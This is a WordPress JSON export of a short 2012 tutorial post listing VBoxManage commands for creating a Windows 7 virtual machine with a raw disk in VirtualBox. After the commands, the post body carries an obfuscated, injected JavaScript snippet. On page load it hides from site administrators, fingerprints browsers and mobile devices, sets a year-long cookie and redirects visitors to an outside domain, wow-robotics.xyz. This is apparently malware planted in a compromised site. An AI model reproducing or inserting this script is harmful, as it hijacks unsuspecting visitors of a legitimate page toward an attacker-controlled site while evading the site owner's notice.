{"id":288,"date":"2012-03-05T14:47:21","date_gmt":"2012-03-05T06:47:21","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=288"},"modified":"2012-03-05T14:48:21","modified_gmt":"2012-03-05T06:48:21","slug":"create-vm-thru-cli","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/03\/05\/create-vm-thru-cli\/","title":{"rendered":"Create VM thru CLI"},"content":{"rendered":"<p>Sample command to create a VM in VirtualBox. <\/p>\n<pre>\r\n# list support OSTYPE\r\nVBoxManage list ostypes\r\n\r\n# create a new VM\r\nVBoxManage createvm --name Win7_64 --ostype Windows7_64 --basefolder \/home\/vbox\/VirtualBox --register\r\n\r\n# modify the VM\r\nVBoxManage modifyvm \"Win7_64\" --memory 1024 --acpi on --boot1 dvd --nic1 bridged --bridgeadapter1 eth1 --vrde on --vrdeauthtype external --vrdeport 10081 --chipset ich9 --vram 128 --mouse usbtablet\r\n\r\n# Create raw disk\r\nVBoxManage internalcommands createrawvmdk -filename \/home\/vbox\/VirtualBox\/Win7_64\/vm1.vmdk -rawdisk \/dev\/vlg1\/vm1\r\n\r\n# Attach a controller to the VM\r\nVBoxManage storagectl Win7_64 --name 'SATA Controller' --add sata --controller IntelAHCI --sataportcount 4 --bootable on\r\n\r\nVBoxManage storagectl Win7_64 --name 'IDE Controller' --add ide --controller PIIX4 --bootable on\r\n\r\n# Attach the raw disk to vm\r\nVBoxManage storageattach Win7_64 --storagectl 'SATA Controller' --port 0 --type hdd --medium \/home\/vbox\/VirtualBox\/Win7_64\/vm1.vmdk\r\n\r\n# Attach DVD-drive to vm\r\nVBoxManage storageattach \"Win7_64\" --storagectl \"IDE Controller\" --port 0 --device 0 --type dvddrive --medium emptydrive\r\n\r\nVBoxHeadless startvm Win7_64\r\n<\/pre>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sample command to create a VM in VirtualBox. # list support OSTYPE VBoxManage list ostypes # create a new VM VBoxManage createvm &#8211;name Win7_64 &#8211;ostype Windows7_64 &#8211;basefolder \/home\/vbox\/VirtualBox &#8211;register # modify the VM VBoxManage modifyvm &#8220;Win7_64&#8221; &#8211;memory 1024 &#8211;acpi on &#8211;boot1 dvd &#8211;nic1 bridged &#8211;bridgeadapter1 eth1 &#8211;vrde on &#8211;vrdeauthtype external &#8211;vrdeport 10081 &#8211;chipset ich9 &#8211;vram 128 &#8211;mouse usbtablet # Create raw disk VBoxManage internalcommands createrawvmdk -filename \/home\/vbox\/VirtualBox\/Win7_64\/vm1.vmdk -rawdisk \/dev\/vlg1\/vm1 # Attach a controller to the VM VBoxManage storagectl Win7_64 &#8211;name &#8216;SATA Controller&#8217; &#8211;add sata &#8211;controller IntelAHCI &#8211;sataportcount 4 &#8211;bootable on VBoxManage storagectl Win7_64 &#8211;name &#8216;IDE Controller&#8217; &#8211;add ide &#8211;controller PIIX4 <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[44],"tags":[42],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/288"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=288"}],"version-history":[{"count":8,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/288\/revisions"}],"predecessor-version":[{"id":296,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/288\/revisions\/296"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=288"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=288"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=288"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}